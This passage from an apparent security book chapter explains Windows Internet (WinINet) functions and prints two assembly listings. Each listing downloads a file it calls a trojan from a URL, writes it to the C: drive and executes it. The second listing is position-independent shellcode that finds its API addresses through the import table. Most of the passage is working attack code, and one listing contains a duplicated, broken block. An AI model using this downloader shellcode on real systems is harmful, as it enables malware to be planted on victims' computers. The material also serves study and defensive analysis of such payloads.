    add edx,4                                               ;increase EDX by 4
    add eax,4                                               ;increase EAX by 4
    jmp loop_iat                                            ;continue searching

    exit: push 0
          call ExitProcess                                  ;exit
    ;-=-=-=-=-=data-=-=-=-=
    imagebase        dd 0400000h                            ;imagebase value of our
```

```
                                                                ;program

    kernel          db "KERNEL32.DLL",0                         ;character chain
                                                                ;"KERNEL32.DLL"
    kernel_addr     dd 0                                        ;variable that will
                                                                ;intercept
                                                                ;the kernel address
```

The above example searches through the IAT import table for the functions LoadLibraryA and GetModuleHandleA, which are then used to gain the address of the library kernel32.dll. As we can see, this method seems to be less complex than searching through the export section. So now let's proceed with the final section of this chapter.

Shellcode to download and start up a Trojan horse using Win32-IF

Win32 Internet Functions

Win32-IF (Internet Functions) are the functions exported by the wininet.dll library, which were created to make the use of such protocols as FTP, HTTP, and GOPHER easier. What is more important, when using these functions, we don't have to create our own sockets, which is very convenient and offers smaller code size than a standard shellcode based on sockets. The functions of the wininet.dll library that will be useful to us are specified below.

InternetOpen function:

```
HINTERNET InternetOpen(
  LPCTSTR lpszAgent,
  DWORD dwAccessType,
  LPCTSTR lpszProxyName,
  LPCTSTR lpszProxyBypass,
  DWORD dwFlags
);
```

This function notifies the system that the user (or application) is going to use the functions provided by the wininet library.

```
        Parameters:

        >lpszAgent – name of the application that will use the function (character chain)
        >dwAccessType – assumes the following values:

        INTERNET_OPEN_TYPE_DIRECT                              -direct mode
        INTERNET_OPEN_TYPE_PRECONFIG                           -reads the configuration
                                                               -connections or proxy
                                                               -directly from the register

        INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY
        INTERNET_OPEN_TYPE_PROXY                               -the above two
                                                               -determine the proxy

        >lpszProxyName – if our program doesn't use a proxy, the value of this parameter is
0.
        >lpszProxyBypass – exceptions for proxy, if we don't use a proxy the value is 0.
        >dwFlags – Assumes the following values:

        INTERNET_FLAG_ASYNC        - online mode
        INTERNET_FLAG_FROM_CACHE   - all information will be read from CACHE
        INTERNET_FLAG_OFFLINE      - working in offline mode
```

The next useful function is InternetOpenUrlA. The definition of this function is to be found below:

```
HINTERNET InternetOpenUrl(
  HINTERNET hInternet,
  LPCTSTR lpszUrl,
  LPCTSTR lpszHeaders,
  DWORD dwHeadersLength,
  DWORD dwFlags,
  DWORD_PTR dwContext
);
```

This function opens a source (it works with the HTTP, FTP, and GOPHER protocols).

```
        >hInternet                 - handle returned by the InternetOpen function
        >lpszUrl                   - requested address e.g. http://server/file.exe
        >lpszHeaders               - headers that have to accompany the query
        >dwHeaderLength            - header length
        >dwFlags                   - Assumes the values:

INTERNET_FLAG_EXISTING_CONNECT
INTERNET_FLAG_HYPERLINK
INTERNET_FLAG_IGNORE_CERT_CN_INVALID
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
INTERNET_FLAG_KEEP_CONNECTION
INTERNET_FLAG_NEED_FILE
INTERNET_FLAG_NO_AUTH
```

```
INTERNET_FLAG_NO_AUTO_REDIRECT
INTERNET_FLAG_NO_CACHE_WRITE
INTERNET_FLAG_NO_COOKIES
INTERNET_FLAG_NO_UI
INTERNET_FLAG_PASSIVE
INTERNET_FLAG_PRAGMA_NOCACHE
INTERNET_FLAG_RAW_DATA
INTERNET_FLAG_RELOAD
INTERNET_FLAG_RESYNCHRONIZE
INTERNET_FLAG_SECURE

        > dwContext       - the additional argument in our case is 0
```

Next is the InternetQueryDataAvailable function:

```
BOOL InternetQueryDataAvailable(
  HINTERNET hFile,
  LPDWORD lpdwNumberOfBytesAvailable,
  DWORD dwFlags,
  DWORD dwContext
);
```

This function in the variable lpdwNumberOfBytesAvailable returns the size of the object we are going to download.

```
>hFile                            -handle returned by InternetOpenUrlA
>lpdwNumberOfBytesAvailable       -address of the variable, into which the
                                   number of bytes available to download will be written
>dwFlags                          -resetting, it must be zero
>dwContext                        -resetting, it must be zero
```

InternetReadFile function:

```
BOOL InternetReadFile(
  HINTERNET hFile,
  LPVOID lpBuffer,
  DWORD dwNumberOfBytesToRead,
  LPDWORD lpdwNumberOfBytesRead
);
```

```
>hFile                            -handle returned by InternetOpenUrlA
>lpBuffer                         -buffer, into which the downloaded content will be
                                   written
>dwNumberOfBytesToRead            -number of bytes to download
>lpdwNumberOfBytesRead            -the function returns how many bytes have been
                                   downloaded
```

Below is the code of a program that downloads and starts up the trojan.exe file (**/CD/Chapter21/Listings/net.asm**).

```
;-----------------------------------------------------------------------
;net.asm – example, which downloads the file and executes it
;using the WININET function
;compilation:
;               tasm32 /w0 /m1 /m3 /mx net,,
;               tlink32 -Tpe -aa net,net,,import32.lib,,
;               PEWRSEC.COM net.exe
;-----------------------------------------------------------------------

.586p                                          ; standard directives
.model flat

extern ExitProcess:PROC                        ; minimum one export
extern WinExec:PROC
extern _lcreat:PROC
extern _lwrite:PROC
extern _lclose:PROC
extern InternetReadFile:PROC
extern GlobalAlloc:PROC
extern InternetOpenUrlA:PROC
extern InternetOpen:PROC
extern InternetQueryDataAvailable:PROC


.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
call delta                                     ;the above code counts
delta:
pop ebp                                        ;delta handle
                                               ;(offset correction)
sub ebp,offset delta                           ;in this case it should
                                               ;be zero
                                               ;for obvious reasons


HTTP_REQUEST equ "http://127.0.0.1/trojan.exe",0   ;address of the file that
                                               ;we will be downloading

        download_file:
        push 0                                  ;flags
        push 0                                 ;proxybypass
        push 0                                  ;proxy name
        push 1  ;INTERNET_OPEN_TYPE_DIRECT     ;type
        call upload_application_name
```

```
upload_application_name:


call InternetOpen
        mov ebx,eax                              ;handle to the EBX register

        INTERNET_FLAG_RAW_DATA                   equ 40000000h

        xor eax,eax
        push eax                                 ;0
        push INTERNET_FLAG_RAW_DATA              ;flag
        push eax                                 ;0
        push eax                                 ;0
        call request                             ;our HTTP call
           db HTTP_REQUEST,0
        request:
        push ebx                                 ;handle with InternetOpen
        call InternetOpenUrlA                    ;make connection
        mov ebx,eax                              ;EBX = handle

        push 0                                   ;zero to stack
        push 0                                   ;zero to stack
        lea esi,[ebp+_bytes]                     ;ESI=pointer to the variable, to
                                                 ;which the number of bytes
                                                 ;will be written
        push esi                                 ;transfer ESI as argument
        push ebx
        call InternetQueryDataAvailable          ;receive the number of bytes
        mov edx,dword ptr [ebp+_bytes]           ;EDX = number of bytes

        mov eax,edx
        push edx                                 ;save EDX
        inc eax
        push eax                                 ;we reserve as much as
                                                 ;the size of the file trojan.exe+1 is
        push GMEM_ZEROINIT or GMEM_FIXED         ;allocation type

        call GlobalAlloc                          ;allocate memory for buffer
        mov edi,eax                              ;EDI = handle to memory
        pop edx                                  ;read EDX from stack

        push edx
        lea eax,[ebp+_byte_number]
        push eax                                 ;variable, to which
                                                 ;the number of the downloaded bytes
                                                 ;is returned
        push edx                                 ;number of bytes to download

        push edi                                 ;EDI - pointer to
                                                 ;allocated memory
        push ebx                                 ;handle returned by
                                                 ;InternetOpenUrlA
        call InternetReadFile                    ;download trojan!
        push 4
        call file_name
        db "C:\FILE.exe",0                       ;file name
```

```
        file_name:
        call _lcreat                                ;create file FILE.EXE
        mov ebx,eax                                 ;handle of the file created in EBX

        push edi                                    ;pointer to buffer (trojan)
        push ebx                                    ;EBX handle to file
        call _lwrite                                ;write trojan
        push ebx                                    ;file handle
        call _lclose                                ;close
        push 2
        call file_name1
        db "C:\FILE.exe",0                          ;file name
        file_name1:
        call WinExec                                ;execute trojan code

       exit:
       push 0                                       ; terminate the process
       call ExitProcess

        _byte_number                    dd 0
        _bytes                          dd 0
        push ebx                                    ;file handle
        call _lclose                                ;close

        push 2
        call file_name1
        db "C:\FILE.exe",0                          ;file name
        file_name1:
        call WinExec                                ;execute trojan code

       exit:
       push 0                                       ; terminate the process
       call ExitProcess

        _byte_number                    dd 0
        _bytes                          dd 0
end start
```

Putting the knowledge derived from this chapter together, we will now see what a pseudo-shellcode looks like that combines the mechanism of searching API addresses from the IAT with downloading and starting up a Trojan horse program (**/CD/Chapter21/Listings/snet.asm**):

```
;--------------------------------------------------------------------------------
--
;snet.asm – example of shellcode that searches for addresses of the
;API function from the import address table, downloads trojan from the site, and starts
it up.
;compilation:
;               tasm32 /w0 /m1 /m3 /mx snet,,
;               tlink32 -Tpe -aa snet,snet,,import32.lib,,
;               PEWRSEC.COM snet.exe
```

```
;-------------------------------------------------------------------------------------
--
.586p                                                ; standard directives
.model flat
extern ExitProcess:PROC                              ;API functions, which are
                                                     ;useful for us
    extern GetProcAddress:PROC
    extern MessageBoxA:PROC
    extern Beep:PROC
    extern LoadLibraryA:PROC
    include win32api.inc                             ;header file
    HTTP_REQUEST         equ      "http://127.0.0.1/2.exe"
    IMAGE_BASE   equ      0400000h
    @pushsz macro string                             ;macro that uploads to the stack
    local next                                       ;the address of the character chain
    call next
    db string,0
    next:

  endm

    .data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
    start:
    iat_start:                                       ;calculating offset
    call iat_delta                                   ;(delta handling)
    iat_delta: pop ebp
    sub ebp,offset iat_delta
    mov eax,IMAGE_BASE                               ;EAX=IMAGE_BASE value
    mov edi,eax                                      ;EDI=EAX=IMAGE_BASE value
    push eax                                         ;upload EAX (IMAGE_BASE) to stack
    add eax,[eax+3ch]                                ;EAX=PE file header
    add edi,[eax+80h]                                ;EDI=IAT (import table)
    pop ebx                                          ;EBX=IMAGEBASE (from stack)

    iat_loop:                                        ;loop label
    cmp dword ptr [edi],0                            ;is it the end?
    je exit_iat                                      ;terminate searching
    check_it:
    mov esi,[edi]                                    ;ID_OriginalFirstThunk=
                                                     ;pointer to ASCII table
    add esi,ebx                                      ;ESI=ESI+IMAGEBASE
    mov edx,[edi+10h]                                ;ID_FirstThunk=
                                                     ;pointer to table with addresses

    add edx,ebx                                      ;EDX=EDX+imagebase

    loop_iat:                                        ;search loop label
                                                     ;function from IAT
    lodsd                                            ;read 4 bytes from ESI to EAX
    test eax,eax                                     ;is EAX=0
    jz exit_iat                                      ;yes -> terminate searching
```

```
add eax,ebx                                 ;EAX=EBX+imagebase
add eax,2                                   ;ESI = API name

cmp dword ptr [eax],'PteG'                  ;is
jne next__
cmp dword ptr [eax+4],'Acor'                ;GetProcAddress this function?
jne next__                                  ;if not, jump to label
mov eax,[edx]                               ;EAX = GetProcAddress address
mov dword ptr [ebp+_GetProcAddress],eax     ;write it to variable

jmp next_                                   ;continue search

near_jump:

mov eax,[edx]                               ;EAX = address of the API function
mov dword ptr [ebp+_LoadLibraryA],eax       ;write it to variable

jmp next_                                   ;jump to label next_

next__:
cmp dword ptr [eax],'daoL'                  ;is
jne next_

cmp dword ptr [eax+4],'rbiL'                ;LoadLibraryA this function?
je near_jump                                ;yes! Jump to label
                                            ;near_jump

next_:                                      ;continue search
add edx,4                                   ;increase EDX by 4
jmp loop_iat                                ;search

exit_iat:
iat_size=$-offset iat_start

start_shellcode:
lea edx,[ebp+wininet]                       ;EDX=address, under which
                                            ;WININET.DLL is located
lea esi,[ebp+_API]                          ;ESI points to names of the
                                            ;API functions

obtain_library_address:
push edx                                    ;to EDX stack (library name)
call dword ptr [ebp+_LoadLibraryA]          ;map the given module to memory
                                            ;of the process
xchg ebx,eax                                ;EBX = library handle

get_addr:
inc esi                                     ;ESI = ESI + 1
push esi                                    ;upload to stack (NAME OF THE
                                            ;API FUNCTION)
push ebx                                    ;handle returned by
                                            ;LoadLibraryA
```

```
call dword ptr [ebp+_GetProcAddress]            ;call GetProcAddress
mov [esi],eax                                   ;write it in the place where,
                                                ;where
                                                ;the API function name was located

to_null:
cmp byte ptr [esi+2],'Y'                        ;is this the last API function
je get_from_kernel                              ;from the WININET library?
inc esi                                         ;ESI = ESI + 1

cmp byte ptr [esi],0                            ;zero byte = character chain
                                                ;end
je get_addr                                     ;jump to label get_addr
jmp to_null                                     ;jump to label to_null

get_from_kernel:                                ;functions from KERNEL32.DLL
cmp byte ptr [ebp+temp],'Y'                     ;is marker temp == 'Y'?
je download_file                                ;yes terminate searching
                                                ;i jump to label
                                                ; download_file

mov edi,ebx                                     ;library handle to EDI

lea edx,[ebp+kernel]                            ;EDX=address of character chain
                                                ;"KERNEL32.DLL"
lea esi,[ebp+krnl]                              ;ESI=table with the name of API
                                                ;function
mov byte ptr [ebp+temp],'Y'                     ;enter 'Y' to temp marker
jmp obtain_library_address                      ;obtain function addresses

download_file:
push 0                                          ;flags
push 0                                          ;proxybypass
push 0                                          ;proxy name
push 1       ;INTERNET_OPEN_TYPE_DIRECT         ;type
@pushsz "e"                                     ;application name
call dword ptr [ebp+_InternetOpen]              ;call InternetOpen
mov ebx,eax                                     ;handle to the EBX register

INTERNET_FLAG_RAW_DATA equ 40000000h

xor eax,eax                                     ;reset the EAX register
push eax                                        ;upload EAX (ZERO) to stack
push INTERNET_FLAG_RAW_DATA                     ;flag
push eax                                        ;upload EAX (ZERO) to stack
push eax                                        ;upload EAX (ZERO) to stack
@pushsz HTTP_REQUEST                            ;our request
push ebx                                        ;EBX = handle with InternetOpen
call dword ptr [ebp+_InternetOpenUrl]           ; call the function
                                                ;InternetOpenUrl
mov ebx,eax                                     ;EBX = EAX = handle

push 0                                          ;zero to stack
push 0                                          ;zero to stack
lea esi,[ebp+_bytes]                            ;ESI=pointer to the variable,
```

```
                                                  ;to which the number of bytes
                                                  ;will be written

    push esi                                      ;ESI to stack
    push ebx                                      ;EBX (handle) to stack

    call dword ptr [ebp+_InternetQueryDataAvailable]       ;execute function
    mov edx,dword ptr [ebp+_bytes]                         ;EDX = number of bytes

    mov eax,edx                                   ;EAX = EDX = number of bytes
    push edx                                      ;EDX to stack
    inc eax                                       ;EAX = EAX + 1
    push eax                                      ;also to stack
    push GMEM_ZEROINIT or GMEM_FIXED              ;attributes
    call dword ptr [ebp+_GlobalAlloc]             ;allocate memory
    mov edi,eax                                   ;EAX=EDI=address
                                                  ;of the allocated memory
    pop edx                                       ;EDX=number of bytes to download
                                                  ;from
                                                  ;page

    push edx                                      ;to stack
    lea eax,[ebp+_GetProcAddress]
    push eax                                      ;let's use the location from
                                                  ;the previous variable
    push edx                                      ;EDX to stack
    push edi                                      ;EDI address of allocated memory
    push ebx                                      ;EBX to stack (handle)
    call dword ptr [ebp+_InternetReadFile]        ;read the file to
                                                  ;the allocated memory
    push 4                                        ;attributes
    @pushsz "C:\PLIK.exe"                         ;name of file to be created
    call dword ptr [ebp+_lcreat]                  ;create file
    mov ebx,eax                                   ;EBX = EAX = handle of the created
                                                  ;file
    push edi                                      ;buffer (allocated) with trojan
    push ebx                                      ;handle
    call dword ptr [ebp+_lwrite]                  ;write to file

    push ebx                                      ;EBX (handle) to stack
    call dword ptr [ebp+_lclose]                  ;entry to file

    push 2                                        ;attributes
    @pushsz "C:\PLIK.exe"                         ;file name
    call dword ptr [ebp+_WinExec]                 ;start up trojan [-;

    exit:       push 0                            ;terminate
       call ExitProcess                           ;program

    _SPLOIT_DATA:

; DECLARATIONS OF VARIABLES

    _GetProcAddress                      dd  0    ;BFF76DA8h
    _LoadLibraryA                        dd  0    ;BFF776D0h
    _bytes                               dd  0
```

```
_WIN_INET:
wininet                               db "WININET.DLL",0
kernel                                db "KERNEL32.DLL",0

to_wininet=$-offset _WIN_INET

_API:

temp                                  db 0
_InternetOpen                         db "InternetOpenA",0
_InternetOpenUrl                      db "InternetOpenUrlA",0
_InternetQueryDataAvailable           db "InternetQueryDataAvailable",0
_InternetReadFile                     db "InternetReadFile",0,'Y'

krnl:
                                      db 0
_GlobalAlloc                          db "GlobalAlloc",0
_WinExec                              db "WinExec",0
_lcreat                               db "_lcreat",0
_lwrite                               db "_lwrite",0
_lclose                               db "_lclose",0
                                      db 'Y'

shellcode_size=$-offset start

end start
```

Below are the addresses of websites where you can obtain more information on this topic. We hope you will build upon the knowledge you have gained.

```
http://wheaty.net
http://29a.host.sk
http://msdn.microsoft.com
```